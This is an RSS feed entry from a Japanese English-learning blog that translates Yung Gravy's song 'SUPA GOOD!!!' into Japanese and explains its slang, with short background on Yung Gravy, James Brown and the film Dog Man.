﻿<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="https://ffeng.jp/wp-content/plugins/rss-feed-styles/public/template.xsl"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:rssFeedStyles="http://www.lerougeliet.com/ns/rssFeedStyles#"
>

<channel>
	<title>bbno$ &#8211; たのしむイングリッシュ</title>
	<atom:link href="https://ffeng.jp/tag/bbno/feed/" rel="self" type="application/rss+xml" />
	<link>https://ffeng.jp</link>
	<description>FUN FUN ENGLISH</description>
	<lastBuildDate>Mon, 29 Dec 2025 13:56:26 +0000</lastBuildDate>
	<language>ja</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://ffeng.jp/wp-content/uploads/2024/05/becc7259dcbe6f095b1408b76d8a80aa-150x74.png</url>
	<title>bbno$ &#8211; たのしむイングリッシュ</title>
	<link>https://ffeng.jp</link>
	<width>32</width>
	<height>32</height>
</image> 
<atom:link rel="hub" href="https://pubsubhubbub.appspot.com"/>
<atom:link rel="hub" href="https://pubsubhubbub.superfeedr.com"/>
<atom:link rel="hub" href="https://websubhub.com/hub"/>
<atom:link rel="self" href="https://ffeng.jp/tag/bbno/feed/"/>
<rssFeedStyles:reader name="Digg Reader" url="http://digg.com/reader/search/https%3A%2F%2Fffeng.jp%2Ffeed%2F"/><rssFeedStyles:reader name="Feedly" url="http://cloud.feedly.com/#subscription%2Ffeed%2Fhttps://ffeng.jp/feed/"/><rssFeedStyles:reader name="Inoreader" url="http://www.inoreader.com/?add_feed=https%3A%2F%2Fffeng.jp%2Ffeed%2F"/><rssFeedStyles:button name="Like" url="https://www.facebook.com/sharer/sharer.php?u=%url%"/><rssFeedStyles:button name="G+" url="https://plus.google.com/share?url=%url%"/><rssFeedStyles:button name="Tweet" url="https://twitter.com/intent/tweet?url=%url%"/><rssFeedStyles:button name="Evernote" url="http://www.evernote.com/clip.action?url=%url%"/><rssFeedStyles:button name="Tumblr" url="https://www.tumblr.com/widgets/share/tool?posttype=link&amp;canonicalUrl=%url%"/><site xmlns="com-wordpress:feed-additions:1">164513092</site>	<item>
		<title>ヤング・グレイヴィー『SUPA GOOD!!!』　和訳</title>
		<link>https://ffeng.jp/2025/08/24/yunggravy_supagood/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Sun, 24 Aug 2025 14:58:24 +0000</pubDate>
				<category><![CDATA[エンターテイメント]]></category>
		<category><![CDATA[スラング]]></category>
		<category><![CDATA[異文化間コミュニケーション]]></category>
		<category><![CDATA[音楽]]></category>
		<category><![CDATA[bbno$]]></category>
		<category><![CDATA[Dog Man]]></category>
		<category><![CDATA[Gravy train]]></category>
		<category><![CDATA[I Got You (I Feel Good)]]></category>
		<category><![CDATA[James Brown]]></category>
		<category><![CDATA[Matthew Raymond Hauri]]></category>
		<category><![CDATA[Mr. Clean]]></category>
		<category><![CDATA[R&B]]></category>
		<category><![CDATA[Say It Loud – I'm Black and I'm Proud]]></category>
		<category><![CDATA[Share the love]]></category>
		<category><![CDATA[SNS]]></category>
		<category><![CDATA[SoundCloud]]></category>
		<category><![CDATA[SUPA GOOD]]></category>
		<category><![CDATA[Super clean]]></category>
		<category><![CDATA[super cold]]></category>
		<category><![CDATA[Super mean]]></category>
		<category><![CDATA[super nice]]></category>
		<category><![CDATA[TikTok]]></category>
		<category><![CDATA[Yung Gravy]]></category>
		<category><![CDATA[でも優しさも満タン]]></category>
		<category><![CDATA[アナフォラ]]></category>
		<category><![CDATA[コメディー ヒップホップ]]></category>
		<category><![CDATA[ゴッドファーザー・オブ・ソウル]]></category>
		<category><![CDATA[ジェームス・ブラウン]]></category>
		<category><![CDATA[ソウル]]></category>
		<category><![CDATA[ドッグマン]]></category>
		<category><![CDATA[ファンク]]></category>
		<category><![CDATA[ベビー・ノー・マネー]]></category>
		<category><![CDATA[マシュー・レイモンド・ハウリ]]></category>
		<category><![CDATA[ヤング・グレイビー]]></category>
		<category><![CDATA[仕上がりは超クリーン]]></category>
		<category><![CDATA[和訳]]></category>
		<category><![CDATA[愛を分け合う]]></category>
		<category><![CDATA[映画]]></category>
		<category><![CDATA[超イカす]]></category>
		<category><![CDATA[超クール]]></category>
		<category><![CDATA[越智志帆]]></category>
		<category><![CDATA[韻Super fly]]></category>
		<category><![CDATA[鬼ヤバ]]></category>
		<guid isPermaLink="false">https://ffeng.jp/?p=4784</guid>

					<description><![CDATA[<p>今回は今年の初め頃からちょっと気になっていたヤング・グレイヴィー（Yung Gravy）の『SUPA GOOD!!!』 を勝手に訳してみました。ノリノリのラップなのに意外にも簡単な英語表現で構成された歌詞なので、ぜひ口ずさんでみてくださいね。</p>
<p>The post <a rel="nofollow" href="https://ffeng.jp/2025/08/24/yunggravy_supagood/">ヤング・グレイヴィー『SUPA GOOD!!!』　和訳</a> first appeared on <a rel="nofollow" href="https://ffeng.jp">たのしむイングリッシュ</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/12/08/tiktok-english-slang-2025/' title='【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/11/content-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2025/11/content-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2025/11/content-150x150.png 150w, https://ffeng.jp/wp-content/uploads/2025/11/content-65x65.png 65w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/08/20/summer-english-expressions/' title='【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-150x150.jpg 150w, https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-65x65.jpg 65w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/09/01/ren_ganbatte/' title='【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/08/ren-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/08/ren-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2024/08/ren-150x150.png 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">今回は今年の初め頃からちょっと気になっていた<strong>ヤング・グレイヴィー（Yung Gravy）</strong>の『<strong>SUPA GOOD!!!</strong>』 を勝手に訳してみました。ノリノリのラップなのに意外にも簡単な英語表現で構成された歌詞なので、ぜひ口ずさんでみてくださいね。</p>



<p class="wp-block-paragraph">ソウルシンガーのレジェンド、<strong>ジェームス・ブラウン（James Brown）</strong>によるコラボ曲で、映画『<strong>ドッグマン（原題: Dog Man）</strong>』の主題歌として使用されています。オリジナルは、ジェームス・ブラウンの名曲『<strong>I Got You (I Feel Good)</strong>』のリミックス。2025年1月15日にSNSでプレビューが公開され、1月24日に正式リリースと動画が公開されました。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:87px;height:auto"/></figure>



<h2 class="wp-block-heading">ヤング・グレイビー（Yung Gravy）ってどんな歌手？</h2>



<p class="wp-block-paragraph">本名はマシュー・レイモンド・ハウリ（Matthew Raymond Hauri）。米国ミネソタ州ロチェスター出身のラッパー。ユーモアとレトロなサンプルを融合した “<strong>コメディー ヒップホップ</strong>” スタイルが特徴。代表曲『<strong>Mr. Clean』</strong>では1954年の『<strong>Mr. Sandman」</strong>を、『<strong>Gravy Train</strong>では1976年の『<strong>Right Back Where We Started From』</strong>をサンプリングするなど、古き良きソウルやファンク音楽を現代風にアレンジしています。<br>2017年に<strong> SoundCloud </strong>での活動を本格化させ、デビュー曲「<strong>Mr. Clean</strong>』がプラチナ認定を受けて注目を集めました。<strong>bbno$</strong>（こちらを参照<a href="https://ffeng.jp/2021/10/23/edamame/" target="_blank" rel="noopener" title=""><strong>Rich Brian&amp;bbno$『edamame』和訳</strong></a>）とのコラボでも知られ、複数のEPやアルバムをリリースしています。2019年の初スタジオアルバム『<strong>Sensational</strong>』、2020年の『<strong>Gasanova</strong>』、2022年の『<strong>Marvelous</strong>』など。<br>“<strong>母親層に人気が高い</strong>”という異色のポップカルチャーっぽさも持ち味。TikTokなどSNSでも話題のアーティストです。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:87px;height:auto"/></figure>



<h2 class="wp-block-heading">ジェームス・ブラウン（James Brown）ってどんな歌手？</h2>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="512" src="https://ffeng.jp/wp-content/uploads/2025/08/james-brown-gettyimages-74253830-CROP-1024x512.jpeg" alt="" class="wp-image-4782" srcset="https://ffeng.jp/wp-content/uploads/2025/08/james-brown-gettyimages-74253830-CROP-1024x512.jpeg 1024w, https://ffeng.jp/wp-content/uploads/2025/08/james-brown-gettyimages-74253830-CROP-300x150.jpeg 300w, https://ffeng.jp/wp-content/uploads/2025/08/james-brown-gettyimages-74253830-CROP-768x384.jpeg 768w, https://ffeng.jp/wp-content/uploads/2025/08/james-brown-gettyimages-74253830-CROP-1536x768.jpeg 1536w, https://ffeng.jp/wp-content/uploads/2025/08/james-brown-gettyimages-74253830-CROP-2048x1024.jpeg 2048w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">ソウルとファンクを切り拓いた音楽界の革命児。<strong>ゴッドファーザー・オブ・ソウル</strong>と呼ばれる人物です。ソウル、ファンク、R&amp;Bの発展に大きな影響を与えました。特に『<strong>Papa’s Got a Brand New Bag</strong>』や<strong>『I Got You (I Feel Good)</strong>』などは代表曲で、リズムを強調した独自のスタイルはファンクの基盤となりました。パワフルな歌唱、エネルギッシュなダンス、圧倒的なライブパフォーマンスで知られる。マイケル・ジャクソン、プリンスなど後世のアーティストに絶大な影響を与えました。公民権運動の時代に黒人の誇りを歌い、『<strong>Say It Loud – I&#8217;m Black and I&#8217;m Proud』</strong>はその象徴的な曲の一つです。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:87px;height:auto"/></figure>



<h2 class="wp-block-heading">映画『ドッグマン（原題: Dog Man）』ってどんな映画？？</h2>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube"><div style="display: contents;" >

<div data-mode="normal" data-oembed="1" data-provider="youtube" id="arve-youtube-qajbaennb_q" class="arve">
	<div class="arve-inner">
		<div style="aspect-ratio:226/127" class="arve-embed arve-embed--has-aspect-ratio">
			<div class="arve-ar" style="padding-top:56.194690%"></div>
			<iframe allow="accelerometer &apos;none&apos;;autoplay &apos;none&apos;;bluetooth &apos;none&apos;;browsing-topics &apos;none&apos;;camera &apos;none&apos;;clipboard-read &apos;none&apos;;clipboard-write;display-capture &apos;none&apos;;encrypted-media &apos;none&apos;;gamepad &apos;none&apos;;geolocation &apos;none&apos;;gyroscope &apos;none&apos;;hid &apos;none&apos;;identity-credentials-get &apos;none&apos;;idle-detection &apos;none&apos;;keyboard-map &apos;none&apos;;local-fonts;magnetometer &apos;none&apos;;microphone &apos;none&apos;;midi &apos;none&apos;;otp-credentials &apos;none&apos;;payment &apos;none&apos;;picture-in-picture;publickey-credentials-create &apos;none&apos;;publickey-credentials-get &apos;none&apos;;screen-wake-lock &apos;none&apos;;serial &apos;none&apos;;summarizer &apos;none&apos;;sync-xhr;usb &apos;none&apos;;web-share;window-management &apos;none&apos;;xr-spatial-tracking &apos;none&apos;;" allowfullscreen="" class="arve-iframe fitvidsignore" credentialless data-arve="arve-youtube-qajbaennb_q" data-lenis-prevent="" data-src-no-ap="https://www.youtube-nocookie.com/embed/QaJbAennB_Q?feature=oembed&amp;iv_load_policy=3&amp;modestbranding=1&amp;rel=0&amp;autohide=1&amp;playsinline=0&amp;autoplay=0" frameborder="0" height="0" loading="lazy" name="" referrerpolicy="strict-origin-when-cross-origin" sandbox="allow-scripts allow-same-origin allow-presentation allow-popups allow-popups-to-escape-sandbox" scrolling="no" src="https://www.youtube-nocookie.com/embed/QaJbAennB_Q?feature=oembed&#038;iv_load_policy=3&#038;modestbranding=1&#038;rel=0&#038;autohide=1&#038;playsinline=0&#038;autoplay=0" title="" width="0"></iframe>
			
		</div>
		
	</div>
	
	
	<script type="application/ld+json">{"@context":"http:\/\/schema.org\/","@id":"https:\/\/ffeng.jp\/2025\/08\/24\/yunggravy_supagood\/#arve-youtube-qajbaennb_q","@type":"VideoObject","embedURL":"https:\/\/www.youtube-nocookie.com\/embed\/QaJbAennB_Q?feature=oembed&iv_load_policy=3&modestbranding=1&rel=0&autohide=1&playsinline=0&autoplay=0"}</script>
	
</div>
</div></figure>



<p class="wp-block-paragraph">半人半犬のスーパーヒーロー<strong>Dog Man</strong>が、悪猫Peteyや幼いLil Peteyとの出会いを通じて、“家族”や“友情”の本当の意味を見つける、2025年公開のファミリー向けアニメ映画。家族の絆、友情、責任、和解といったテーマをユーモアと共に描いた、子どもから大人まで楽しめる温かな作品です。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:87px;height:auto"/></figure>



<h2 class="wp-block-heading">SUPA GOOD!!! &#8212; Yung Gravy</h2>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube"><div style="display: contents;" >

<div data-mode="normal" data-oembed="1" data-provider="youtube" id="arve-youtube-b0fjnjkahua" class="arve">
	<div class="arve-inner">
		<div style="aspect-ratio:226/127" class="arve-embed arve-embed--has-aspect-ratio">
			<div class="arve-ar" style="padding-top:56.194690%"></div>
			<iframe allow="accelerometer &apos;none&apos;;autoplay &apos;none&apos;;bluetooth &apos;none&apos;;browsing-topics &apos;none&apos;;camera &apos;none&apos;;clipboard-read &apos;none&apos;;clipboard-write;display-capture &apos;none&apos;;encrypted-media &apos;none&apos;;gamepad &apos;none&apos;;geolocation &apos;none&apos;;gyroscope &apos;none&apos;;hid &apos;none&apos;;identity-credentials-get &apos;none&apos;;idle-detection &apos;none&apos;;keyboard-map &apos;none&apos;;local-fonts;magnetometer &apos;none&apos;;microphone &apos;none&apos;;midi &apos;none&apos;;otp-credentials &apos;none&apos;;payment &apos;none&apos;;picture-in-picture;publickey-credentials-create &apos;none&apos;;publickey-credentials-get &apos;none&apos;;screen-wake-lock &apos;none&apos;;serial &apos;none&apos;;summarizer &apos;none&apos;;sync-xhr;usb &apos;none&apos;;web-share;window-management &apos;none&apos;;xr-spatial-tracking &apos;none&apos;;" allowfullscreen="" class="arve-iframe fitvidsignore" credentialless data-arve="arve-youtube-b0fjnjkahua" data-lenis-prevent="" data-src-no-ap="https://www.youtube-nocookie.com/embed/b0fJnJkahUA?feature=oembed&amp;iv_load_policy=3&amp;modestbranding=1&amp;rel=0&amp;autohide=1&amp;playsinline=0&amp;autoplay=0" frameborder="0" height="0" loading="lazy" name="" referrerpolicy="strict-origin-when-cross-origin" sandbox="allow-scripts allow-same-origin allow-presentation allow-popups allow-popups-to-escape-sandbox" scrolling="no" src="https://www.youtube-nocookie.com/embed/b0fJnJkahUA?feature=oembed&#038;iv_load_policy=3&#038;modestbranding=1&#038;rel=0&#038;autohide=1&#038;playsinline=0&#038;autoplay=0" title="" width="0"></iframe>
			
		</div>
		
	</div>
	
	
	<script type="application/ld+json">{"@context":"http:\/\/schema.org\/","@id":"https:\/\/ffeng.jp\/2025\/08\/24\/yunggravy_supagood\/#arve-youtube-b0fjnjkahua","@type":"VideoObject","embedURL":"https:\/\/www.youtube-nocookie.com\/embed\/b0fJnJkahUA?feature=oembed&iv_load_policy=3&modestbranding=1&rel=0&autohide=1&playsinline=0&autoplay=0"}</script>
	
</div>
</div></figure>



<p class="wp-block-paragraph"><strong>WOW! I feel good!<br>Super fly, super good,<br>shoulda, coulda, knew I would<br>Super fly, super fresh,<br>Ask yo&#8217; mama, she&#8217;s impressed<br>Super fly, super cold,<br>Super mean, super nice,<br>Super clean<br>Yeah, you know it<br>So good!<br>Yeah, we&#8217;re always<br>(So good!)<br>Soooo good, baby<br>WOW! I feel good!</strong></p>



<p class="wp-block-paragraph">WOW！気分は最高だぜ！<br>最高にイカしてるぜ<br>ごちゃごちゃ言ったって<br>すげーイカしてるぜ<br>ママだってびっくりしてる<br>すげークールで、鬼ヤバで、スイートだぜ<br>何もかもがスーパークールだせ<br>わかるだろ？<br>気分は最高だぜ！<br>いつでも最高！<br>とびきり最高なんだ、ベイビー<br>WOW！気分は最高だ！</p>



<p class="wp-block-paragraph"><strong>So locked in that the key gone, ayy<br>In my bag like I&#8217;m FritoLay<br>Crispy golden,<br>Crème brûleé, rare<br>Like a T-bone steak<br>I&#8217;m good, mhmm<br>I&#8217;m good, i&#8217;m good, uh-huh, uh-huh<br>I&#8217;m great! I&#8217;m great! I&#8217;m better than ok<br>I&#8217;m like<br>OOOOOOOOOOOOOOH!<br>Sometimes it takes twoooooooooooo!<br>Never lack it, anything we<br>Dooooooooo!<br>That&#8217;s my crew<br>I got it, you got it<br>We got it<br>Yeah, you know it</strong></p>



<p class="wp-block-paragraph">抜け出せないほどハマりまくってる<br>俺のバッグは宝石箱だぜ<br>カリッと輝くポテトチップス<br>甘いクレームブリュレ<br>レアなTボーンステーキ、全部がスペシャルさ<br>気分最高――ちげーよ、それ以上に最高だ<br>OKで終わるようなレベルじゃない<br>OOOOOOOOOOOOOOH!<br>2人ならなんでもできる<br>俺たちはいつも一緒だ<br>俺も、お前も、みんな<br>仲間なんだから<br>わかるだろ</p>



<p class="wp-block-paragraph"><strong>So good!<br>Yeah, we&#8217;re always<br>(So good!)<br>Soooo good, baby<br>WOW! I feel good!</strong></p>



<p class="wp-block-paragraph">気分は最高だぜ！<br>いつでも最高！<br>とびきり最高なんだ、ベイビー<br>WOW！気分は最高だ！</p>



<p class="wp-block-paragraph"><strong>Shake and bake, we takin&#8217; dubs<br>Bake the cake and I rake it up<br>Make it rain, I share the love<br>Gravy train, come say what&#8217;s up<br>Stay poppin&#8217;<br>The place hoppin&#8217;<br>Yeah, we got the place hoppin&#8217;<br>It ain&#8217;t stoppin&#8217;</strong></p>



<p class="wp-block-paragraph">とっとと勝利をつかんで分け合おう<br>焼き立てのケーキを山分けするように<br>金を降らせて、愛も分けるんだ<br>楽に稼げるから気軽に声かけてくれ<br>盛り上げてやるから<br>もう止められないぜ</p>



<p class="wp-block-paragraph"><strong>We be like<br>OOOOOOOOOOOOOOH!<br>Sometimes it takes twoooooooooooo!<br>Never lack it, anything we<br>Dooooooooo!<br>That&#8217;s my crew<br>I got it, you got it<br>We got it<br>Yeah, you know it</strong></p>



<p class="wp-block-paragraph">OOOOOOOOOOOOOOH!<br>2人ならなんでもできる<br>俺たちはいつも一緒だ<br>俺も、お前も、みんな<br>仲間なんだから<br>わかるだろ</p>



<p class="wp-block-paragraph"><strong>So good!<br>Yeah, we&#8217;re always<br>(So good!)<br>Soooo good, baby<br>WOW! I feel good!</strong></p>



<p class="wp-block-paragraph">気分は最高だぜ！<br>いつでも最高！<br>とびきり最高なんだ、ベイビー<br>WOW！気分は最高だ！</p>



<p class="wp-block-paragraph"><strong>Y&#8217;all ever heard a producer freestyle?</strong></p>



<p class="wp-block-paragraph">おい、プロデューサーの即興を聴いたことあるか？</p>



<p class="wp-block-paragraph"><strong>WOW! I feel good!<br>Supa fly, supa good,<br>shoulda, coulda, knew I would<br>Super fly, super fresh,<br>Ask yo&#8217; mama, she&#8217;s impressed<br>Super fly, super cold,<br>Super mean, super nice,<br>Super clean<br>Yeah, you know it</strong></p>



<p class="wp-block-paragraph">WOW！気分は最高だぜ！<br>最高にイカしてるぜ<br>ごちゃごちゃ言ったって<br>すげーイカしてるぜ<br>ママだってびっくりしてる<br>すげークールで、ヤバイくらいスイートだぜ<br>何もかもがスーパークールだせ<br>わかるだろ？</p>



<p class="wp-block-paragraph"><strong>So good!<br>Yeah, we&#8217;re always<br>(So good!)<br>Soooo good, baby<br>WOW! I feel good!<br>So good!</strong></p>



<p class="wp-block-paragraph">気分は最高だぜ！<br>いつでも最高！<br>とびきり最高なんだ、ベイビー<br>WOW！気分は最高だ！</p>



<p class="wp-block-paragraph"><strong>I got you!</strong></p>



<p class="wp-block-paragraph">任せとけ！</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:87px;height:auto"/></figure>



<h2 class="wp-block-heading">歌詞を掘り下げてみよう</h2>



<p class="wp-block-paragraph">ラップには特有のスラングが多く登場します。上記はラップらしく聞こえるように意訳をしていますが、もっと深く歌詞を理解するために深掘りしてみましょう。</p>



<h4 class="wp-block-heading"><strong>Super fly</strong></h4>



<p class="wp-block-paragraph"><strong>【スラング】めちゃくちゃイケてる、最高にカッコいい</strong><br>1970年代にアフリカ系アメリカ人が使用していたスラングで、ファッションやノリが「<strong>超クール！</strong>」っていう褒め言葉です。1972年に<strong>カーティス・メイフィールド</strong>がリリースしたサウンドトラック 『<strong>Super Fly</strong>』で、ブラックミュージックやストリートカルチャーの象徴的な言葉になり、以後「<strong>スタイリッシュでヤバい</strong>」ことを表す定番フレーズに。日本ではシンガーソングライター<strong> Superfly</strong>（<strong>越智志帆</strong>さん） は、この言葉をアーティスト名に。「自由に羽ばたく」「カッコよくありたい」という思いからきているそうです。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading">Supa fly, supa good, shoulda, coulda, knew I would</h4>



<p class="wp-block-paragraph"><strong>超イカすぜ、マジですげー　“やれたかも”じゃない、最初から“やる”と決めてた</strong></p>



<p class="wp-block-paragraph">“<strong>super</strong>”を畳み掛ける<strong>アナフォラ（反復）</strong>＋ <strong>good / shoulda / coulda / would </strong>は母音の<strong>押韻</strong>。</p>



<p class="wp-block-paragraph"><strong>coulda：could have</strong> (～できたのに)<br><strong>woulda：would have </strong>(～しただろうに)<br><strong>shoulda：should have</strong> (～すべきだったのに)</p>



<p class="wp-block-paragraph">後悔やたらればを言う時に使用されます。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading">Super fly, super cold, super mean, super nice, super clean</h4>



<p class="wp-block-paragraph"><strong>超イカして、超クール、鬼ヤバ、でも優しさも満タン、仕上がりは超クリーン</strong></p>



<p class="wp-block-paragraph"><strong>cold：</strong>氷みたいにクール<br><strong>mean：</strong>容赦ない腕前の意<br><strong>nice：</strong>優しい<br><strong>clean：</strong>キメも見た目も無駄なし、音作りがクリーンの含意も。</p>



<p class="wp-block-paragraph">合わせてすべてが超すげーという意味です。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading">So locked in that the key gone</h4>



<p class="wp-block-paragraph"><strong>抜け出せないほどハマりまくってる</strong></p>



<p class="wp-block-paragraph"><strong>locked in</strong>：【スラング】めちゃくちゃ集中してる、完全に夢中になってる<br><strong>the key gone：</strong>鍵がなくなった＝抜け出せない</p>



<p class="wp-block-paragraph">鍵を捨てるほど集中してる、抜け出せないくらい夢中、ゾーンに入りすぎて戻れない、という意味になります。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading">Shake and bake, we takin&#8217; dubs</h4>



<p class="wp-block-paragraph"><strong>とっとと勝利をかっさらおう</strong></p>



<p class="wp-block-paragraph"><strong>Shake and bake：</strong>【スラング】素早く決めて勝つ、カッコよく決める。アメリカのバスケットボール用語。特定のプレーや何かすごいことを成し遂げるという意味で使用されます。スラングですが、中継などで使用されることも。</p>



<p class="wp-block-paragraph"><strong>shake：</strong>揺さぶる、フェイントをかける<br><strong>bake： </strong>火を入れる、焼く。この場合は、〜を仕留める、〜を抜き去る<br><br><strong>we takin&#8217; dubs</strong>：【スラング】勝ち続ける。Dubは勝利を意味するWinの「W」の発音に由来。俺たちは勝ちをかっさらう的な意味です。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading">Bake the cake and I rake it up</h4>



<p class="wp-block-paragraph">成果を生み出して、全部かき集める</p>



<p class="wp-block-paragraph"><strong>bake the cake：</strong>ケーキを焼く → 成功・成果を作り出す<br><strong>rake it up：</strong>かき集める（金や成果を大量に得る）</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading">Make it rain, I share the love</h4>



<p class="wp-block-paragraph"><strong>金も愛も分けてやるぜ</strong></p>



<p class="wp-block-paragraph"><strong>make it rain：</strong>クラブなどで札束を空中にまく<br><strong>share the love：</strong>愛を分け合う</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading">Gravy train, come say what&#8217;s up</h4>



<p class="wp-block-paragraph"><strong>楽勝で稼いでるから、気軽に声かけろ</strong></p>



<p class="wp-block-paragraph"><strong>gravy train：</strong>【スラング】労力や努力をほとんどせずに、楽して大金を稼ぐこと、あるいはその方法や機会を指す<br><strong>come say what&#8217;s up：</strong>挨拶に来い、声かけろ</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading">Stay poppin&#8217; / The place hoppin&#8217;</h4>



<p class="wp-block-paragraph"><strong>俺たちの場はいつでもアツい、俺たちがこの場を盛り上げてる</strong></p>



<p class="wp-block-paragraph"><strong>stay poppin&#8217;：</strong>【スラング】輝き続ける、人気者でいる、常に話題の中心にいる<br><strong>The place hoppin&#8217;：</strong>会場が跳ねるように盛り上がってる。<br><strong>It ain&#8217;t stoppin&#8217;：</strong>止まらねぇ！</p>



<p class="wp-block-paragraph">上記、3つの単語はわかりやすく綺麗にに<strong>oppin&#8217;</strong>という韻を踏んでいます。</p>



